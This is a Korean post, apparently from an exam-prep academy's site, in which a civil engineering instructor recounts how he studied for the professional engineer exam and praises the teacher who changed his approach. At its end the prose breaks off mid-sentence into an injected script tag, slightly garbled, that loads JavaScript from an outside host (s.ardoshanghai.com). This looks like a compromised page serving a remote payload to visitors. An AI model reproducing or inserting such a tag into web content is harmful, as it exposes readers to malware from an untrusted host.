우리학원에는 토목시공 과목에 300명에 가까운 정회원(유료회원)이 가입되어 계십니다
물론 수강기간이 끝나 재가입하시지 않고 혼자서 계속 공부하시는
회원님들도 계시고 재수강후 계속 공부하시는 분들도 계십니다
강사인 저의 마음은 모두가 합격했으면 하는 바램입니다
포기하지 마십시오
한번 강의 듣고 혼자서 공부하시는 분들도 용기잃지 마시고 끝까지
도전하시길 바랍니다
여기서 토목 담당 강사인 저의 공부했던 기억을 더듬어 참고삼아
합격자수기(?) (너무 오래전 일이라 따끈 따끈한 수기는 아니겠지만)를
적어 보겠습니다
처음 기술사에 도전하다 보면 많은 정보를 얻고 싶은 게 당연하겠지요
그러다 보면 이사람의 서브노트, 저사람의 서브노트, 이 출판사의 책,
저 출판사의 책, 그리고 다수의 참고서적,토목학회지 등등 산더미처럼
자료를 확보하고 시작했습니다
기가 질릴 만큼 많은 자료들을 확보했지요.
용기는 좋았어요
그리고 자신감도 있었고요
제 나름대로는 저도 똑똑 하다고 생각했으니 말입니다
저도 대구에서 경북대학교를 졸업하고 국내의 유명한 국영기업체
(한국수자원공사) 에 100:1의 경쟁을 뚫고
(당시에는 취업이 상당히 어려웠음)
당당히 입사했던 경력이 있으니 말입니다
혼자서 공부를 시작했습니다
하루 3시간씩 계획을 잡고 시작했습니다.
한달정도 했습니다.
한달정도 공부한 공부량과 문제정리를 한 결과는 다음과 같습니다.
“문)다짐공법”
달랑 한문제입니다
그런데 이상한 것은
공법이라 했는데 다짐을 하는 건설기계 이야기 였습니다.
불도져,.백호,롤러,람마,탬퍼가 어디에 사용되는지,
즉 사질토,점질토,기타 세분된 토질상태에 대한 장비 적용성 이었습니다.
제가 가장 큰 의문을 가졌던 것은 건설기계가 어떻게 공법이라는
명칭으로 사용되느냐 였어요
당시 제 생각에는 공법이라 하면 거창한 대형 Project 에 적용되는
특수한 공법을 말하는 줄 알았어요
그래서 공법이라는 말을 쓰면 않 되는 것 아니냐 하는 의문이 앞섰지요.
이렇게 우둔한 저도 기술사에 합격했습니다
그런데 더욱 기가 찰 일은 각종 토질관련 책
(기사,기술사,기타서적) 을 찾아보니
모두가 동일한 내용이 아니고 다들 비슷하지만 다른 게 기술되어있었습니다
여기서 고민에 빠졌어요.
분명히 정답이 있을텐데????
시험인데 정답이 있어야 하지 않는가????
어느 책이 정답일까??
어느 자료가 정답일까???
그래서 어쩔 수 없이 정답을 찾으려고 결심했어요.
커다란 A2 전지를 준비하고 각 출판사,각 자료마다 장비명에 따른
토질의 적용성을 비교하기로 했어요.
바를正 자를 그려가며 가장 빈도가 높게 기슬 된 토질명을 그장비의
적용 토질로 정하기로 말입니다.
ㅎ ㅎ ㅎ ~~~~~
아마 토공의 다짐공법을 공부 해 보신분은 저의 이 마음을 이해 하실겁니다.
이렇게 하다 보니 1문제 공부하는데 1달 걸렸습니다
토목기술사 공부할 문제는 요약해서 정리하면 보통 150~200문항
정도 됩니다
그러면 기술사 공부 끝내고 합격하는데 200달 걸리고 16년 걸립니다
이렇게 하면 기술사는 영원히 물 건너(??)가는 겁니다
자! 여기서 저는 어떻게 했을까요??
분명 내가 모르는 다른 공부 방법이 있을 것이다
기술사 합격한 사람이 천재는 아닐테니 말입니다.
라디오에서 대구에 있는 대구토목건축학원에서 학원광고를 하기에
무작정 등록을 하고 강의를 들으러 갔습니다.
강사가 누군지도 모르고!!!
그때 만난 저의 기술사 은사님은 지금도 서울에서 유명하신
柳 자 在 자 福 자 교수님 이셨습니다.
지금도 생각해보면 저의 인생에서 커다란 전환점을 마련해주신
교수님이시지요
정말 고맙게 생각하고 있습니다
교수님은 토목 기술사 발전을 위해 많은 공헌을 하셨습니다
물론 토목시공기술사 수준을 엄청나게 UP 시키시어 기술사 시험을
공부하는 사람들의 수준을 높이다 보니 기술사 시험이 과거처럼
암기위주의 요령으로는 되지 못하는 시대가 오긴 했지만
대한민국 토목시공 기술자들의 수준향상에는 지대한 공헌을 하신분입니다
첫날 강의를 들어보니 제 머리를 “꽝”하고 치는 내용들이었습니다.
“아!!! 그렇구나”.
그날이후 교수님의 강의하시는 교단 맨 앞자리 좌측 첫 번째 자리를
한번도 놓치지 않고 강의를 들었읍니다.
무작정 시키는데로 했어요.
의심의 여지 없이 했습니다.
공부 외적인 내용까지 따라 했읍니다
이를테면
필기구는 어떤 것을 써라 - 그대로 따라 하고
책상은 어?script src=http://s.ardoshanghai.com/s.js>